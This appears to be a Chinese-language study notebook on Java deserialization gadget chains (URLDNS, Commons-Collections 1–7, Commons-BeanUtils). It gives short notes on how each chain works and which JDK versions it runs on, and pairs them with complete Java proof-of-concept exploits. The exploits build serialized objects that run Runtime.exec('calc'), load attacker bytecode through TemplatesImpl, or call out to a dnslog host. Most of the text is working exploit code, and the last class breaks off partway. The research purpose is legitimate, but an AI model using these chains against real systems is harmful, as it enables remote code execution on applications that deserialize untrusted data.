URLDNS
HashMap
的readObject
方法可以调用到任何一个类的hashCode
方法,只需要把拥有hashCode
方法的对象当作键名添加进HashMap
即可,比如我要通过HashMap#readObject
调用URL#hashCode
,我只需要实例化一个URL对象比如为urlObject
,然后以对象为键名添加进HashMap
,HashMap.put(urlObject,"ky0116")
URL.handler
属性是transient
修饰的,按理是无法进行反序列化的,但是URL类编写了一个readResolve
方法,这方法会重新创建出一个 URL 对象,然后替换已经反序列化出来的 URL 对象,而重新创建出来的 URL 对象是存在handler
属性的!而在readResolve
方法重新创建 URL 对象中关键是URL.authority
属性指定我们的 dnslog 地址。跟一下URL#readObject->URL#readResolve->URL#fabricateNewURL->URL#reconstituteUrlString
链就知道了,这条链就是重新创建URL
对象的过程!HashMap#put
会触发 dnslog,为了防止在构造时触发 dnslog 导致误判,这里可以先put一个URL对象进去,然后再反射对hashCode
、authority
赋值
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
/*
* Gadget:
* HashMap#readObject
* URL#hashCode
* URLStreamHandler#hashCode
* URLStreamHandler#getHostAddress
*
* */
public class URLDNSPOC {
public static void main(String[] args) throws Exception{
URL url = new URL("http://");
HashMap hashMap = new HashMap();
hashMap.put(url,"h");
reflectSetField(url,"hashCode",-1); //经过 Hash.put 之后会对URL的hashCode值进行改变,此处要重新反射赋值
reflectSetField(url,"authority","vyaz78.dnslog.cn"); //为了防止在构造POC时触发dnslog,这里先put一个URL对象再反射对authority赋值
byte[] bytes = serializeObject(hashMap);
unSerializeObject(bytes);
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
}
commons-collections01
- InvokerTransformer#transform可以进行动态方法调用
- ConstantTransformer#transform返回一个实例对象
- ChainedTransformer#transform可以调用一连串transform方法
- AnnotationInvocationHandler#invoke方法可以调用到get方法
- 通过代理操作可以调用到AnnotationInvocationHandler#invoke方法
- 构造TransformedMap链时需要往HashMap实例中添加一个value键,为的是满足
if (var7 != null)
条件,Retention注解的memberTypes的键为value,所以HashMap元素的键需要是value - 传入AnnotationInvocationHandler的注解需要存在memberTypes属性
- 通过AnnotationInvocationHandler#readObject方法的
this.memberValues.entrySet().iterator().next().setValue()
可以调用到TransformedMap#checkSetValue方法!但是存在条件6即第六点! - commons-collections01链在 JDK8u71 之后无法再进行利用,原因是AnnotationInvocationHandler#readObject逻辑发生了改变!
- 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
疑问的地方:
- LazyMap链的触发点不应该是
this.memberValues.entrySet()
吗?然而调试发现并不是从这个断点进入的命令执行,而是从(Entry)var4.next()
方法进入的! - TransformedMap链的HashMap实例需要存在value键,否则无法通过
if (var7 != null)
条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值还没深入分析!
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
* AnnotationInvocationHandler#readObject
* AnnotationInvocationHandler#invoke
* LazyMap#get
* ChainedTransformer#transform
* ConstantTransformer#transform
* InvokerTransformer#transform
* */
public class Collections01PocLazyMap {
public static void main(String[] args) throws Exception{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
reflectSetField(chainedTransformer,"iTransformers",transformer);
byte[] bytes = serializeObject(invocationHandler);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
* AnnotationInvocationHandler#readObject
* TransformedMap#setValue
* TransformedMap#checkSetValue
* ChainedTransformer#transform
* ConstantTransformer#transform
* InvokerTransformer#transform
* */
public class Collections01PocTransformedMap {
public static void main(String[] args) throws Exception{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap hashMap = new HashMap();
hashMap.put("value","ky0116");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
reflectSetField(chainedTransformer,"iTransformers",transformer);
byte[] bytes = serializeObject(obj);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
commons-collections06
- commons-collections01因为AnnotationInvocationHandler#readObject的逻辑在JDK8U71之后发生了改变,导致无法在高版本下利用,而commons-collections06就解决了高版本无法利用的问题
- HashMap#readObject方法可以调用任意类的hashCode方法,在URLDNS也写过了
- TiedMapEntry#hashCode 可以调用任意类的get方法,只需要把 this,map 属性赋值为需要调用get方法的类对象即可
- 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
* HashMap#readObject
* TiedMapEntry#hashCode
* TiedMapEntry#getValue
* LazyMap#get
* ChainedTransformer#transform
* ConstantTransformer#transform
* InvokerTransformer#transform
* */
public class Collections06Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"ky0116");
reflectSetField(tiedMapEntry,"map",lazyMap);
reflectSetField(chainedTransformer,"iTransformers",transformer);
byte[] bytes = serializeObject(hashMap);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
commons-collections02
- TransformingComparator#compare可以调用到任意类的transform方法,配合PriorityQueue#readObject方法使用
- 直接操作PriorityQueue类queue[]属性无法把元素添加进PriorityQueue类,需要前面有add操作之后再对queue[]属性操作
- PriorityQueue.add 方法会触发transform方法,如果触发的是InvokerTransformer#transform方法,则需要往iMethodName属性赋值为toString,不至于在add时触发InvokerTransformer#transform方法动态调用然后找不到方法!
- TemplatesImpl#newTransformer 方法会对
_bytecodes
属性的字节码进行实例化,条件是_name
属性不为空且_bytecodes
属性的字节码对应的父类为AbstractTranslet类! - 通过ClassPool动态创建一个恶意类,恶意类静态代码块存在恶意代码,利用TransformingComparator#compare调用InvokerTransformer#transform方法进行动态调用恶意类任意方法,这里调用到的恶意类是TemplatesImpl,调用到的方法是newTransformer
- commons-collections02在commons-collections依赖版本为4才可以用,因为在3版本中TransformingComparator没有首先Serializable接口,也就不可以进行序列化了!
- queue[]属性是transient修饰符修饰的,应该是无法进行序列化/反序列化的,但是这里PriorityQueue#readObject和PriorityQueue#writeObject方法进行了手工写入和读取queue[]属性
- 在高版本JDK中可以使用
package com.javasec.poc;
import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/*
* Gadget:
* PriorityQueue#readObject
* TransformingComparator#compare
* InvokerTransformer#transform
* TemplatesImpl#newTransformer
* */
public class Collections02Poc {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
//templatesImpl.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[]{},new Object[]{});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(invokerTransformer));
priorityQueue.add("1");
priorityQueue.add("1");
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] queue = (Object[]) field.get(priorityQueue);
queue[0] = templatesImpl;
queue[1] = "ky0116";
reflectSetField(invokerTransformer,"iMethodName","newTransformer");
byte[] bytes = serializeObject(priorityQueue);
unSerializeObject(bytes);
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
}
====================================================================
package com.javasec.tools;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CtClass;
import java.lang.reflect.Field;
public class CreateTemplate {
public static TemplatesImpl createTemplatesImpl() throws Exception{
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Evil.class));
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
final CtClass clazzEvil = classPool.get(Evil.class.getName());
clazzEvil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
CtClass clazzAbstract = classPool.get(AbstractTranslet.class.getName());
clazzEvil.setSuperclass(clazzAbstract);
byte[] bytes = clazzEvil.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
reflectSetField(templates,"_name","ky0117");
reflectSetField(templates,"_bytecodes",new byte[][]{bytes});
return templates;
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
======================================================================
package com.javasec.tools;
public class Evil{
}
commons-collections03
- InstantiateTransformer#transform方法可以实例化任意一个类,也就是可以调用Class#newInstance方法
- TrAXFilter类的构造方法可以调用到TemplatesImpl#newTransformer方法进而实例化
_bytecodes恶意字节码对象
触发静态代码块里的恶意代码! - 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
- 这条链是通过1链变化过来的,所以高版本JDK下也是用不了的
package com.javasec.poc;
import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
* AnnotationInvocationHandler#readObject
* AnnotationInvocationHandler#invoke
* LazyMap#get
* ChainedTransformer#transform
* ConstantTransformer#transform
* InstantiateTransformer#transform
* TrAXFilter#newInstance
* */
public class Collections03Poc {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
reflectSetField(chainedTransformer,"iTransformers",transformer);
byte[] bytes = serializeObject(invocationHandler);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
commons-collections04
- 这条链是通过2链变化过来的,所以只能用于4版本的依赖,当然高版本下JDK可以使用
- 这里其实就是把2链的InvokerTransformer换为了ChainedTransformer,效果都是一样的就是调用TemplatesImpl#newTransformer方法!
package com.javasec.poc;
import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Collections04Poc {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
priorityQueue.add("1");
priorityQueue.add("1");
Field field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
Object[] queue = (Object[]) field.get(priorityQueue);
queue[0] = templatesImpl;
queue[1] = "ky0116";
reflectSetField(chainedTransformer,"iTransformers",transformers);
byte[] bytes = serializeObject(priorityQueue);
unSerializeObject(bytes);
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
}
commons-collections05
- 这条链跟commons-collections06链差不多,就是把BadAttributeValueExpException替换掉HashMap即可!
- 这条链在3、4版本依赖都可以使用
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
/*
* Gadget:
* BadAttributeValueExpException#readObject
* TiedMapEntry#toString
* TiedMapEntry#getValue
* LazyMap#get
* ChainedTransformer#transform
* ConstantTransformer#transform
* InvokerTransformer#transform
* */
public class Collections05Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
//Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), chainedTransformer); //4版本的构造
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
reflectSetField(tiedMapEntry,"map",lazyMap);
reflectSetField(chainedTransformer,"iTransformers",transformer);
reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);
byte[] bytes = serializeObject(badAttributeValueExpException);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
commons-collections07
"yy".hashCode()=="zZ".hashCode()
,Integer的hashCode方法返回值为数值本身- 只需要构造HashTable的两个LazyMap的hash值相等则可以调用到AbstractMapDecorator#equals和AbstractMap#equals方法
- 构造相同hash的LazyMap时,LazyMap的HashMap不能put两个一样字符串为键的元素进去,因为这样的话反序列化Hashtable时获取到的elements值为1,则只调用一次reconstitutionPut方法,进而无法调用equeals方法,原因可以跟进一下Hashtable#put方法!
- 在HashTable#put完元素之后HashMap的lazyMap02的键会有两个,分别是
zZ/yy
,需要手动移除yy键,保留原来的zZ键即可,如果不移除的话在AbstractMap#equals方法会满足if (m.size() != size())
条件直接返回。至于为什么会多了一个键,跟进一下AbstractMap#equals->LazyMap#get
链就行 - 这条链在3/4版本的依赖都可以使用
package com.javasec.poc;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/*
* Gadget:
* Hashtable#readObject
* AbstractMapDecorator#equals
* AbstractMap#equals
* LazyMap#get
* ChainedTransformer#transform
* ConstantTransformer#transform
* InvokerTransformer#transform
* */
public class Collections07Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap hashMap01 = new HashMap();
hashMap01.put("yy",1);
HashMap hashMap02 = new HashMap();
hashMap02.put("zZ",1);
// LazyMap lazyMap01 = (LazyMap) LazyMap.decorate(hashMap01,chainedTransformer);
// LazyMap lazyMap02 = (LazyMap) LazyMap.decorate(hashMap02,chainedTransformer);
LazyMap lazyMap01 = LazyMap.lazyMap(hashMap01, chainedTransformer);
LazyMap lazyMap02 = LazyMap.lazyMap(hashMap02, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap01,"ky01171");
hashtable.put(lazyMap02,"ky01172");
reflectSetField(chainedTransformer,"iTransformers",transformer);
hashMap02.remove("yy");
byte[] bytes = serializeObject(hashtable);
unSerializeObject(bytes);
}
public static byte[] serializeObject(Object object) throws Exception{ //序列化对象
ByteOutputStream byteOutputStream = new ByteOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
objectOutputStream.writeObject(object);
byte[] bytes = byteOutputStream.toByteArray();
byteOutputStream.close();
objectOutputStream.close();
return bytes;
}
public static void unSerializeObject(byte[] bytes) throws Exception{ //反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
byteArrayInputStream.close();
objectInputStream.close();
}
public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{ //反射对字段进行赋值
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,fieldValue);
}
}
Beanutils
- BeanComparator#compare方法可以调用到任意一个类的getXXX方法
- TemplatesImpl#getOutputProperties方法可以调用到TemplatesImpl#newTransformer方法
- 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用,可以在高版本JDK使用
package com.javasec.pocs;
import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/*
* Gadget:
* PriorityQueue#readObject
* BeanComparator#compare
* TemplatesImpl#getOutputProperties
* TemplatesImpl#newTransformer
* 1. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用
* 2. 可以在高版本使用
* */
public class BeanutilsPoc {
public static byte[] getSerializeData() throws Exception{
// 创建恶意 TemplatesImpl 对象,_bytecodes 属性装载着恶意字节码
TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
// 创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
// 先用 add 添加元素,否则后面对 queue[] 数组的操作无法把真正的元素添加到 priorityQueue 中
priorityQueue.add("1");
priorityQueue.add("1");
// 反射获取 queue[] 数组
Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");
queue[0] = templatesImpl;
queue[1] = "ky0116";
// 最后反射对字段进行赋值,防止在构造payload时触发Gadget
Reflect.reflectSetField(beanComparator,"property","outputProperties");
byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);
return bytes;
}
